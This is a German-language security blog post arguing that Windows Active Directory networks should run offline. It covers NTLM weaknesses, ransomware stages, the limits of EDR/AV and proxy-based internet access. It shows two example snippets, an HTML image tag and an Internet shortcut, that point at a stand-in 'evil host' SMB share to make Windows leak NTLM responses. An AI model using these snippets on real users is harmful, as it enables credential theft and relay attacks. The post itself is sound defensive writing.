#Windows  #AD  #Security  #Konzepte  #NTLM  

5. Oktober 2025, 06:00
Lesezeit: ca. 7 Min

Warum jedes Windows AD offline gehört

Nicht erst seit meinen sieben Sicherheits-Tipps1 erhalte ich Fragen, warum ich Windows und ein Active Directory2 am liebsten offline halte. Das klingt maximal unflexibel und in Zeiten von AI-generierten Cybersecurity-Slop3 erscheine ich als Außenseiter.

Im heutigen Blogbeitrag kontextualisiere ich meinen Standpunkt, erkläre die technischen Hintergründe und lege dar, wie Ransomware funktioniert. Zuletzt zeige ich, wie in einem offline betriebenen AD trotzdem mit Internet und E-Mails wie gewohnt gearbeitet werden kann.

Kontextualisierung

Zunächst ein paar Worte zur besseren Einordnung mit Aussagen, wo sicher jeder mitgehen kann:

  • Eine einzelne technische Maßnahme ist selten Lösung eines größeren, komplexen Problems.
  • Allen technischen Maßnahmen inhärent sind Fehler und eine höhere Komplexität, die Risiken und Angriffsoberfläche erhöhen.

Wir sind beim sogenannten “Käsemodell”, wie von James Reason4 bei der Analyse von Flugunfällen erstmals wissenschaftlich beschrieben. Vor vielen Jahren habe ich darüber im Nachbarblog dazu geschrieben.5

Das Käseschichtenmodell von James Reason

Übertragen auf die IT bedeutet das: Eine Maßnahme wie beispielsweise ein Offline-AD ist nur eine Schutzschicht. Für sich allein genommen nur bedingt wirksam. Die eigentliche Risikominderung entsteht erst durch Zusammenwirken mit weiteren davon unabhängigen Schutzschichten. Voneinander unabhängig deshalb, damit ein “trajectory of accident opportunity” nicht wie in der Skizze durch die eingezogenen Schutzschichten durchschlägt.

Diese Schutzschichten können auch nicht-technischer Natur sein und zum Beispiel aus Arbeitsanweisungen bestehen, z.B. administrative Eingriffe sind mit einem Ticket zu dokumentieren. Für Audit-Trails6 vollkommen ausreichend und von jeder Norm akzeptiert.

Application Whitelisting und Anti-Viren-Programme sind Beispiele für technische Schutzschichten, dazu später mehr.

Das strukturelle Problem in jedem Windows

Es liegt in der Natur der Sache, dass ein IT System bei Zugriff auf eine Ressource eine Authentifizierung vornimmt. Vereinfacht gesagt tauschen heutige Systeme im Hintergrund kryptografische Schlüssel aus, damit User ihre Zugangsdaten nicht ständig neu eingeben müssen.

Microsoft Windows versucht diesen Schlüsseltausch in neueren Versionen mit dem relativ sicheren Kerberos-Protokoll7 vorzunehmen. Bei Fehlkonfiguration oder älteren Systemen kann es aber zu einem Protokoll-Downgrade8 kommen und es wird weiterhin NTLM9 in seinen verschiedensten Versionen akzeptiert.

NTLM ist alt. Es ist Nomen est Omen die Weiterentwicklung des LAN Managers der 1980er Jahre10 für die NT-Plattform11 und gilt seit spätestens Ende der 1990er als unsicher.12 Das Problem ist seit Jahrzehnten bekannt und in allen Windows-Versionen strukturell enthalten.

Microsoft gibt zwar die Empfehlung, NTLM zu deaktivieren oder zumindest zu reduzieren.13 Bedauerlicherweise bleiben die GPO und Registry-Einstellungen hierfür bis heute in jedem Server by Default deaktiviert.14 Die von mir bereits in einem anderen Blog thematisierte “Heilige Kuh der Rückwärtskompatibilität”15 lässt die Betreiber allein zurück.16 Zahlreiche Legacy-Programme und Dienste hinter der bunten UI-Oberfläche kommunizieren weiterhin mit NTLM.17

Hinzu kommt der erschwerende Umstand, dass es in der Praxis kaum ein Netzwerk ohne ältere Rechner gibt. Das Deaktivieren von NTLM würde einen Dateiaustausch mit diesen unterbinden. Mein traurigster Fund bislang: Noch im Jahr 2021 habe ich eine NT4 Workstation an einer Industrieanlage gefunden.18

Windows NT Workstation im Jahr 2021

Ausleitung von NTLM-Schlüsseln

Warum ist NTLM heute noch gefährlich? Ein Beispiel macht deutlich, wie sich NTLM-Schlüssel leicht extrahieren und mittlerweile sogar online entschlüsseln lassen.19 Jede in HTML eingebettete Ressource auf eine SMB-Freigabe bringt ein Windows-System dazu, seine Schlüssel (NTLM-Response) an diesen zu senden:

<!DOCTYPE html>
<html>
  <head></head>
  <body>
    <img src="file://\\ip-or-dns-evil-host\share\dummy.png">
  </body>
</html>

Es geht noch trivialer über Windows Explorer-Verknüpfungen:

[InternetShortcut]
URL=https://wellknown-host
IconIndex=0
IconFile=\\ip-or-dns-evil-host\leak\leak.ico

Überall dort, wo eine unkontrollierte Kommunikation ins Internet möglich ist, teilt Windows breitwillig seine Schlüssel mit.20 Zwar blocken Telekom und andere ISPs seit Wannacry den outbound SMB Port 445 im Endkundensegment.21 Aber nicht in den Business-Tarifen und noch weniger stört das einen Angreifer. Seit Jahren sammeln Rogue-Server22 Schlüssel direkt auf einem betroffenen Rechner und leiten diese für weitere Poisoning-, Pass-the-Hash oder Relay-Angriffe aus.23 Wie im nachfolgenden Screenshot sichtbar, reicht ein einfacher “dir” Befehl:

Ausleiten von NTLM mit einfachem dir Befehl auf ein UNC Share

Windows verliert seine Schlüssel nicht nur über den SMB Port 445. Microsoft ist und war schon immer sehr kreativ, wenn es um die Ausweitung der Angriffsoberfläche durch Aufweichung von Protokollgrenzen geht. Im Laufe der Jahre kamen zahlreiche SMB-Features und Authentifizierungsmöglichkeiten hinzu, SMB Direct24 oder SMB over QUIC auf UDP 44325 fallen mir als erste ein. Je nach IIS-Konfiguration auf einem Exchange- oder RDS-Terminalserver laufen Authentifizierungen auch über TCP Port 443, wenn ein Admin nicht aufpasst sogar unverschlüsselt auf Port 80 mit BasicAuth26.

Wie funktioniert Ransomware

Ransomware-Angriffe lassen sich auf zwei elementare Zwischenziele reduzieren:

  • Ausführen von administrativen Tools und Executables
  • Herstellen eines Kommunikationskanals

Hier wird schnell deutlich, wie elementar Application Whitelisting27 und ein Offline-AD sind. Ein Application Whitelisting verhindert das Starten eines eingefangenen Droppers.28 Das Offlinesetzen verhindert ein Nachladen der eigentlichen Payload,29 oft eine Reverse Shell30 zur Kommunikation mit einem oder mehreren Command & Control Hosts im Internet.31

Erreicht ein Angreifer nur eines der beiden Zwischenziele, läuft der Angriff ins Leere und beschränkt sich auf einzelne Rechner, die leicht ersetzt oder bereinigt werden können.

Der Umkehrfall ist gleichbedeutend mit dem Sieg des Angreifers. Die nachfolgenden Schritte stellen in den typischen Windows-ADs Szenarios keine hohe Hürde dar:

  • Rechteausweitung und Persistenzerlangung
  • laterale Fortbewegung
  • Datenausleitung zur Erpressung
  • Manipulation der Backups
  • Verschlüsselung

Als Referenz verweise ich gerne auf den öffentlich gewordenen Incident-Report zum Ransomwarevorfall bei der SIT in Südwestfalen,32 dem bislang größten Infrastrukturvorfall der Bundesrepublik.33

Aber wir haben eine EDR/AV-Software

Zeit, Kreativität, Know-How und technische Möglichkeiten sind für Angreifer nahezu unbegrenzt während Verteildiger meist mit begrenzten Ressourcen kämpfen. Drei Trends sind mir persönlich in den vergangenen Jahren begegnet:

  • Angreifer nutzen meist Windows-Bordmittel.
  • Executables werden “vor Ort” auf einem Zielcomputer compiliert.
  • EDR/AV-Software34 ist wirkungslos.35

Bei meinem Clipboard-Auditor habe ich bislang nicht feststellen können, dass dieser irgendwo als Schadsoftware identifiziert und geblockt wird.36 Das bedeutet nicht, dass dieser besonders gut sei. Es ist vielmehr so, dass es bislang keine EDR/AV im letzten Jahrzehnt geschafft hat, neue Ransomware-Wellen zu erkennen und ein Schutz wissenschaftlich nicht dokumentierbar ist:37

Quite alarmingly, we illustrate that no EDR can efficiently detect and prevent the four attack vectors we deployed.

Hinzu kommen grundlegende Microsoft-typische Implementierungsfehler.38 Spätestens seit dem Crowdstrike-Vorfall39 sollte deutlich geworden sein, dass EDR/AV selbst ein Sicherheitsrisiko darstellt und die Werbeversprechen per EULA im Grunde bedeutungslos sind.40

Der komplette Verzicht auf EDR/AV-Software ist schwierig. Von daher tut es am Ende des Tages für ein komplett offline betriebenes AD auch der in jedem Windows enthaltene Defender. Das hilft bei der Compliance und hält die Kosten sowie die SBOM41 niedrig.

Offline und doch Online?

Ein AD offline zu halten bedeutet nicht, dass Anwender nicht arbeiten können. Proxy-Server ermöglichen seit Jahrzehnten den gesteuerten Zugriff ins Internet.42 Die entscheidenden Details sind:

  • Webbrowser dürfen ihre Einstellungen nicht in die Windows Systemeinstellungen schreiben.
  • Proxy-Server dürfen keine SSO/ NTLM/ Kerberos-Integration haben.
  • Proxy-Einstellungen im System und Webbrowser dürfen für Anwender nicht veränderbar sein.

Der Microsoft Edge ist durch seine tiefe Integration mit dem darunterliegenden Windows ein Totalausfall. Stattdessen kommt der Mozilla Firefox43 mit seinen ADMX-Gruppenrichtlinienvorlagen zum Einsatz.44

Mozilla Firefox auf einem Terminalserver im Offline-AD

Email-Clients sind noch einfacher, sprich gar nicht besonders einzurichten, sofern sie Verbindung mit einem im eigenen Netz liegenden Groupware-Server oder Mail-Gateway45 aufnehmen.

Sollte die Gegenstelle außerhalb der eigenen Entität liegen, genügt es, den Host zusammen mit den handvoll benötigter egress46 Ports in der Enterprise-Firewall zu hinterlegen.

Und weil Microsoft seinen WSUS47 schleichend verschlimmbessert,48 können interne GitOps Update-Pipelines das AD aktuell halten. Was ich letztes Jahr für “digitale Zwillinge” beschrieben habe, kommt auch hier zum tragen.49

Der große Vorteil eines offline betriebenen Systems: Der “Updatedruck” und die Angriffsoberfläche sind deutlich reduziert.

Der zweite große Vorteil: Man wird von Produktentscheidungen und Lebenszyklen eines Herstellers unabhängiger.

Hand aufs Herz. Jeder sollte sich dessen bewusst sein, dass lokal betriebene AD-Infrastrukturen bei Microsoft keine Zukunft haben. Wer den Weg in die Azure-KI-Cloud nicht mitgehen will, und es gibt gute Gründe das nicht zu wollen, der sollte die verbliebene Zeit sinnvoll nutzen und Technologie-Stacks bzw. Infrastruktur wohlbedacht ausrichten.

Ich helfe mit Rat und Tat gerne weiter.

In diesem Sinne,
Euer Tomas Jakobs

  1. https://blog.jakobs.systems/blog/20240506-service-tips-windows/ ↩︎

  2. https://en.wikipedia.org/wiki/Active_Directory ↩︎

  3. https://en.wikipedia.org/wiki/AI_slop ↩︎

  4. https://en.wikipedia.org/wiki/James_Reason ↩︎

  5. https://ul-fluglehrer.de/blog/files/20160321-fehlerquelle-mensch.html ↩︎

  6. https://en.wikipedia.org/wiki/Audit_trail ↩︎

  7. https://en.wikipedia.org/wiki/Kerberos_(protocol) ↩︎

  8. https://en.wikipedia.org/wiki/Downgrade_attack ↩︎

  9. https://en.wikipedia.org/wiki/NTLM ↩︎

  10. https://en.wikipedia.org/wiki/LAN_Manager ↩︎

  11. https://en.wikipedia.org/wiki/Windows_NT_3.1 ↩︎

  12. https://insecure.org/sploits/winnt.automatic.authentication.html ↩︎

  13. https://learn.microsoft.com/de-de/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain ↩︎

  14. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers ↩︎

  15. https://blog.jakobs.systems/blog/20250712-vom-messdiener-zum-ketzer/ ↩︎

  16. https://blog.jakobs.systems/micro/20210727-security-by-microsoft/ ↩︎

  17. https://learn.microsoft.com/de-de/windows-server/security/kerberos/ntlm-overview ↩︎

  18. https://blog.jakobs.systems/blog/20211121-industrie-nt-4/ ↩︎

  19. https://md5decrypt.net/en/Ntlm/ ↩︎

  20. https://securify.nl/blog/living-off-the-land-stealing-netntlm-hashes/ ↩︎

  21. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack ↩︎

  22. https://github.com/lgandx/Responder ↩︎

  23. https://hackingarticles.in/a-detailed-guide-on-responder-llmnr-poisoning/ ↩︎

  24. https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-direct ↩︎

  25. https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-over-quic ↩︎

  26. https://en.wikipedia.org/wiki/Basic_access_authentication ↩︎

  27. https://en.wikipedia.org/wiki/Whitelist#Application_whitelists ↩︎

  28. https://en.wikipedia.org/wiki/Dropper_(malware) ↩︎

  29. https://en.wikipedia.org/wiki/Payload_(computing) ↩︎

  30. https://en.wikipedia.org/wiki/Shell_shoveling ↩︎

  31. https://en.wikipedia.org/wiki/Botnet#Command_and_control ↩︎

  32. https://blog.jakobs.systems/micro/20240128-sit-ransomware-abschlussbericht/ ↩︎

  33. https://blog.jakobs.systems/blog/20240926-sit-desaster-nrw/ ↩︎

  34. https://en.wikipedia.org/wiki/Endpoint_detection_and_response ↩︎

  35. https://theregister.com/2025/08/14/edr_killers_ransomware/ ↩︎

  36. https://codeberg.org/tomas-jakobs/clipboard-auditor ↩︎

  37. https://mdpi.com/2624-800X/1/3/21 ↩︎

  38. https://blog.jakobs.systems/micro/20250509-defender-disabled/ ↩︎

  39. https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages ↩︎

  40. https://blog.jakobs.systems/micro/20240720-tolduso-moment/ ↩︎

  41. https://en.wikipedia.org/wiki/Software_supply_chain ↩︎

  42. https://en.wikipedia.org/wiki/Proxy_server ↩︎

  43. https://firefox.com/de/download/all/ ↩︎

  44. https://github.com/mozilla/policy-templates/releases ↩︎

  45. https://proxmox.com/en/products/proxmox-mail-gateway/overview ↩︎

  46. https://en.wikipedia.org/wiki/Egress_filtering ↩︎

  47. https://en.wikipedia.org/wiki/Windows_Server_Update_Services ↩︎

  48. https://borncity.com/blog/2025/09/15/windows-11-trouble-mit-wsus-gpos-und-update-source-sowie-agpm-eol/ ↩︎

  49. https://blog.jakobs.systems/micro/20241016-hyperv-backups-faq/ ↩︎

Ähnliche Beiträge

© 2025 Tomas Jakobs - Impressum und Datenschutzhinweis

Unterstütze diesen Blog - Spende einen Kaffee